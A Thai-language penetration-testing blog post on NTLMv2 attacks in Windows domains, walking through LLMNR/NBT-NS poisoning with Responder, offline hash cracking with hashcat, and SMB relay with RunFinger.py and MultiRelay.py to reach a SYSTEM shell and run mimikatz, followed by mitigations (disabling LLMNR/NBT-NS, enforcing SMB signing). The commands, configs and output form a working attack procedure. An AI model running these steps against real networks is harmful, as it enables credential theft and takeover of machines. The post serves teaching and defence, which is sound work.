NTLMv2 Attack

Pornsook Kornkitichai
INCOGNITO LAB
Published in
7 min readAug 19, 2021

จากบทความก่อนหน้าที่กล่าวอธิบายว่าใน Windows Domain Environment เมื่อเครื่องที่อยู่ใน domain ต้องการสื่อสารกันจะใช้ Kerberos เป็น Protocol หลักในการทำ Authentication หากไม่สามารถใช้ได้จะหนีไปใช้ NTLMv2 แทน ซึ่งเงื่อนไขการไม่ใช้ Kerberos นั้นมีอยู่ 2 ข้อ

  1. ถ้าอ้างอิงปลายทางด้วย IP address เช่น \\192.168.1.10 แบบนี้ Kerberos จะไม่ได้ถูกใช้ เพราะว่า Kerberos ใช้ SPN สำหรับการทำ authentication
  2. เมื่อ target มันเก่าหรือ target ไม่ support Kerberos เช่นวาง squid เป็น proxy โดยทำ authentication กับ AD ด้วย NTLM

เมื่อมีเงื่อนไขดังกล่าว Net-NTLMv2 หรือ NTLMv2 จะถูกนำมาใช้เป็น Protocol หลักในการทำ Authentication ซึ่งข้อดีคือ Windows Environment ส่วนใหญ่ไม่มีการ Disable Protocol ดังกล่าวเลย

ในปัจจุบันเรามีเทคนิคในการทำ NTLMv2 Attack อยู่ 2 รูปแบบ

  1. ดักจับ NTLMv2 Challenge-Response ซึ่งจะมี username/password อยู่ในรูปแบบของ NT hash จากนั้นทำ offline crack หา plaintext password
  2. ทำ SMB Relay โดยส่งต่อ NTLMv2 Challenge-Response เพื่อไป authenticate กับ target ปลายทางโดยไม่จำเป็นต้องรู้ plaintext password โดยจะทำผ่าน SMB Connection

การจะเอาค่า NTLMv2 challenge-response มาได้นั้น ต้องอาศัยการทำ Man-in-the-middle attack ซึ่งถ้าใช้ท่าแบบปกติคือ arp spoofing ก็จะไม่ค่อยสะดวกมากนักเนื่องด้วยเรื่องของ performance และความไม่สะดวกในการ response หากจะทำ SMB relay

Responder เป็น tool พัฒนาโดย SpiderLabs (https://github.com/lgandx/Responder) ทำขึ้นเพื่อเน้นการโจมตีไปยัง NTLM authentication โดยเฉพาะ โดย concept คือทำการหลอกให้ victim คิดว่าเราคือ target ที่ victim อยากจะคุยด้วยทำให้ NTLMv2 Challenge-Response ถูกเก็บไปใช้ประโยชน์ต่อ

ก่อนที่จะดูวิธีการโจมตี ผู้อ่านต้องทราบว่า sequence การทำ Name Resolution ของ Windows Environment มีลำดับดังนี้
1) host file — C:\Windows\System32\drivers\etc\hosts
2) cache ของ dns — สามารถดูได้จาก คำสั่ง ipconfig /displaydns
3) DNS หากเป็น Windows Domain Environment ก็จะเป็น Server ที่ทำ DNS Service ด้วยเช่น Domain Controller Server
4) LLMNR (Link Local Multicast Name Resolution; เริ่มใช้งานตั้งแต่ Windows Vista) และ NBT-NS (NetBIOS Name Server) เป็น protocol ที่ให้ host ที่อยู่ใน subnet เดียวกันสามารถ resolve name ผ่าน multicast address ได้
IPv4–224.0.0.252
IPv6 — FF02:0:0:0:0:0:1:3

หากเครื่องของ victim พยายาม resolve name ตามลำดับ sequence#1,2 และ 3 และสุดท้ายหาไม่เจอ LLMNR หรือ NBT-NS จะถูกใช้งาน ซึ่ง Responder จะคอย listening อยู่เพื่อรอการดักจับและโจมตี NTLM Authentication

Attack Methods

> NTLMv2 challenge-response offline brute force

  1. ก่อนจะเริ่มใช้งาน Responder ให้ดู interface ของเครื่อง attacker ก่อนว่าใช้ interface อะไร โดยผู้เขียนใช้ eth0 หลังจากนั้นให้ลองดู traffic ในเครือข่ายก่อนว่ามีเครื่องที่เหมาะต่อการทำการโจมตีหรือไม่ ด้วย Analyze mode ซึ่งจะทำการ monitor การ LLMNR และ NBT-NS request
# ./Responder.py -I eth0 -A

2. หากจะทำการโจมตีแบบ targeted attack เฉพาะเครื่องให้ทำการ configure ระบุ target ใน Responder.conf ในที่นี้จะโจมตีไปยังเครื่องเดียวคือ 192.168.10.31 แต่หากต้องการ respond ให้กับทุกเครื่องที่มีการ request ให้ปล่อยว่างไว้

; Specific IP Addresses to respond to (default = All)
; Example: RespondTo = 10.20.1.100–150, 10.20.3.10
RespondTo = 192.168.10.31

3. ทำการ run Responder

root@kali:~/Responder# ./Responder.py -I eth0
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 3.0.0.0Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CTRL-C
[+] Poisoners:
LLMNR [ON]
NBT-NS [ON]
DNS/MDNS [ON]
[+] Servers:
HTTP server [ON]
HTTPS server [ON]
WPAD proxy [OFF]
Auth proxy [OFF]
SMB server [ON]
Kerberos server [ON]
SQL server [ON]
FTP server [ON]
IMAP server [ON]
POP3 server [ON]
SMTP server [ON]
DNS server [ON]
LDAP server [ON]
RDP server [ON]
[+] HTTP Options:
Always serving EXE [OFF]
Serving EXE [OFF]
Serving HTML [OFF]
Upstream Proxy [OFF]
[+] Poisoning Options:
Analyze Mode [OFF]
Force WPAD auth [OFF]
Force Basic Auth [OFF]
Force LM downgrade [OFF]
Fingerprint hosts [OFF]
[+] Generic Options:
Responder NIC [eth0]
Responder IP [192.168.10.252]
Challenge set [random]
Respond To ['192.168.10.31']
Don't Respond To Names ['ISATAP']
[+] Listening for events...
[*] [NBT-NS] Poisoned answer sent to 192.168.10.31 for name HEYJUDE (service: File Server)
[*] [LLMNR] Poisoned answer sent to 192.168.10.31 for name heyjude
[*] [LLMNR] Poisoned answer sent to 192.168.10.31 for name heyjude
[SMB] NTLMv1-SSP Client : 192.168.10.31
[SMB] NTLMv1-SSP Username : DEMODOMAIN\Bobby
[SMB] NTLMv1-SSP Hash : Bobby::DEMODOMAIN:BXXB63XXXXXXXXXX00000000000000000000000000000000:3FXXXXX6AE3..:3XXXXf23a...
[*] [LLMNR] Poisoned answer sent to 192.168.10.31 for name heyjude
[*] Skipping previously captured hash for DEMODOMAIN\Bobby

4. ลำดับถัดไปให้ทำ offline crack ด้วย hashcat ตาม style, dictionary และเทคนิคตามสะดวก หากเป็น NTLMv2 ใช้ hashtype ที่ 5600 ส่วนกรณีผลที่ได้ในขั้นตอนก่อนหน้าสามารถใช้ NTLMv1 Multitool ช่วยได้ https://github.com/evilmog/ntlmv1-multi

> ท่า SMB Relay

หากทำ offline crack ไม่สำเร็จ เราก็ยังมีอีกตัวเลือกคือการทำ SMB Relaying Attack ที่ผสมผสาน Responder และ tool ที่อยู่ใน repository เดียวกัน

SMB Relaying Attack (Ref: ดัดแปลงจาก SANS 560.5)
  1. ก่อนจะเริ่มโจมตีด้วยท่า SMB Relay ต้องตรวจสอบก่อนว่า Local Network มีการใช้ SMB Signing หรือไม่ หากมีการใช้งานอยู่ทุกเครื่องท่านี้จะใช้ไม่ได้ โดยให้ run tool ที่ชื่อ RunFinger.py ใน subnet ที่ attacker เชื่อมต่ออยู่ ผลลัพธ์ที่ได้ต้องคัดกรองหาเฉพาะเครื่องที่มี Signing:’False’
root@kali:~/Responder# tools/RunFinger.py -i 192.168.10.0/24 -g | grep “Signing:’False’”
[‘192.168.10.133’, Os:’Could not fingerprint Os version.’, Domain:’LOCALGROUP’, Signing:’False’, Time:’2020–05–25 09:11:51', Null Session: ‘False’, RDP:’True’]
Binary file (standard input) matches

2. ให้หยุดการทำ SMB และ HTTP poisoning ของ Responder ใน Responder.conf

[Responder Core]; Servers to start
SQL = On
SMB = Off
RDP = On
Kerberos = On
FTP = On
POP = On
SMTP = On
IMAP = On
HTTP = Off
HTTPS = On
DNS = On
LDAP = On
; Custom challenge.
; Use “Random” for generating a random challenge for each requests (Default)
Challenge = Random

3. run Multirelay เพื่อ route traffic ไปยังเครื่องที่เป็น target ที่ไม่ได้ใช้ SMB Signing โดยให้ใช้ hash ที่ถูก capture มาได้ทั้งหมด relay ไปยังเครื่อง target

#./MultiRelay.py -t 192.168.10.133 -u ALLRetrieving information for 192.168.10.133...
SMB signing: False
Os version: 'Windows Server 2012 Standard 9200'
Hostname: 'demoserver'
Part of the 'LOCALGROUP' domain
[+] Setting up SMB relay with SMB challenge: 5d28xxxxx37c4706
[+] Received NTLMv1 hash from: 192.168.10.8
[+] Client info: ['windows Server 2012 Standard 9200', domain: 'demodomain', signing:'True']
[+] Username: Administrator is whitelisted, forwarding credentials.
[+] SMB Session Auth sent.
[+] Looks good, Administrator has admin rights on C$.
[+] Authenticated.
[+] Dropping into Responder's interactive shell, type "exit" to terminate
Available commands:
dump -> Extract the SAM database and print hashes.
regdump KEY -> Dump an HKLM registry key (eg: regdump SYSTEM)
read Path_To_File -> Read a file (eg: read /windows/win.ini)
get Path_To_File -> Download a file (eg: get users/administrator/desktop/password.txt)
delete Path_To_File-> Delete a file (eg: delete /windows/temp/executable.exe)
upload Path_To_File-> Upload a local file (eg: upload /home/user/bk.exe), files will be uploaded in \windows\temp\
runas Command -> Run a command as the currently logged in user. (eg: runas whoami)
scan /24 -> Scan (Using SMB) this /24 or /16 to find hosts to pivot to
pivot IP address -> Connect to another host (eg: pivot 10.0.0.12)
mimi command -> Run a remote Mimikatz 64 bits command (eg: mimi coffee)
mimi32 command -> Run a remote Mimikatz 32 bits command (eg: mimi coffee)
lcmd command -> Run a local command and display the result in MultiRelay shell (eg: lcmd ifconfig)
help -> Print this message.
exit -> Exit this shell and return in relay mode.
If you want to quit type exit and then use CTRL-C
Any other command than that will be run as SYSTEM on the target.Connected to 192.168.10.133 as LocalSystem.
C:\Windows\system32\:

หากทำได้สำเร็จจะสามารถ access ไปยังเครื่อง target ได้ด้วยสิทธ์ของ challenge-response ที่ capture มา หากมีสิทธิ์ระดับ local admin จะสามารถ run คำสั่งที่มีการ bundle mimikatz มาได้อีกด้วย

#mimi sekurlsa::logonpasswords

หากได้สิทธิ์ระดับ admin แต่ไม่สามารถ run คำสั่งดังกล่าวได้ อาจมีความเป็นไปได้หลายกรณี เช่นเจอ Endpoint Security ปลายทางจัดการอยู่ ต้องระวังจุดนี้ด้วย

คำสั่ง mimi ที่ bundle ใน MultiRelay.py ใช้งานไม่ได้เนื่องจากโดน block

Mitigation

วิธีการป้องกันคือการไม่ respond ตามช่องทางที่ Responder เล่นงานได้แก่

  1. Disable LLMNR : เปิด group policy management gpmc.msc แล้วเลือก group policy ที่ต้องการเลือก edit และ browse
    Computer Configuration > Administrative Templates > Network > DNS Client > Turn off multicast name resolution

จากนั้นให้ตั้งค่าเป็น Enabled

2. Disable NBT-NS : ไปที่ network connection เลือก Advanced TCP/IP Settings ที่ tab WINS ให้เลือก Disable NetBIOS over TCP/IP

3. เพื่อป้องกันการโจมตีด้วย SMB Relaying Attack ต้องทำให้เครื่องใน network ใช้ SMB Signing โดยเปิด group policy management gpmc.msc แล้วเลือก group policy ที่ต้องการเลือก edit และ browse ไปที่ Computer Configuration > Windows Settings > Security Settings > Local Policies > Security Options

จากนั้นให้ตั้งค่า Enabled ให้กับ (settings ในกรอบสีแดง) Microsoft network client: Digitally sign communications (always) และ Microsoft network server: Digitally sign communications (always)

4. เนื่องจาก Responder มี Built-in WPAD Proxy Server สามารถ capture HTTP request ที่มีการ enable “Auto-detect settings” เพื่อค้นหา web proxy setting จาก DHCP และทำการ respond กลับได้ ดังนั้น ถ้าหากมีการ set ค่า web proxy บน browser เรียบร้อยแล้ว ไม่ควร enable การตั้งค่า Auto-detect settings

Reference

  1. Responder ใน kali มีให้อยู่แล้ว แต่หากต้องการ version ใหม่ให้ไป clone ได้จาก https://github.com/lgandx/Responder ในบทความนี้ก็ไปเอา Responder จากที่นี่
  2. บทความนี้ใช้ MultiRelay.py ทำ SMB Relaying อีกทางเลือกหนึ่งคือการใช้ ntlmrelayx.py ของ Impacket ก็ทำได้เช่นกันลองดูตัวอย่างจาก https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html
  3. วิธีการ enable SMB Signing สามารถดูได้ที่ https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/microsoft-network-client-digitally-sign-communications-always
  4. การ enable SMB Signing จะส่งผลกระทบกับ performance ของ Network ราว ๆ 10%–15% https://support.microsoft.com/th-th/help/161372/how-to-enable-smb-signing-in-windows-nt และ https://support.microsoft.com/en-ie/help/4458042/reduced-performance-after-smb-encryption-or-smb-signing-is-enabled
  5. หาก compromise Exchange Server ได้สำเร็จ จะมีโอกาส compromise domain ต่อได้ เมื่อ Exchange Windows Permissions group มี privilege WriteDacl access สามารถดูรายละเอียดเพิ่มเติมได้จากบทความ “Abusing Exchange: One API call away from Domain Admin” ที่มีรายละเอียดและ tools ให้ใช้งานครบถ้วน — https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/

--

--

Pornsook Kornkitichai
INCOGNITO LAB

I am a security engineer, Alice, and co-founder of Incognito Lab.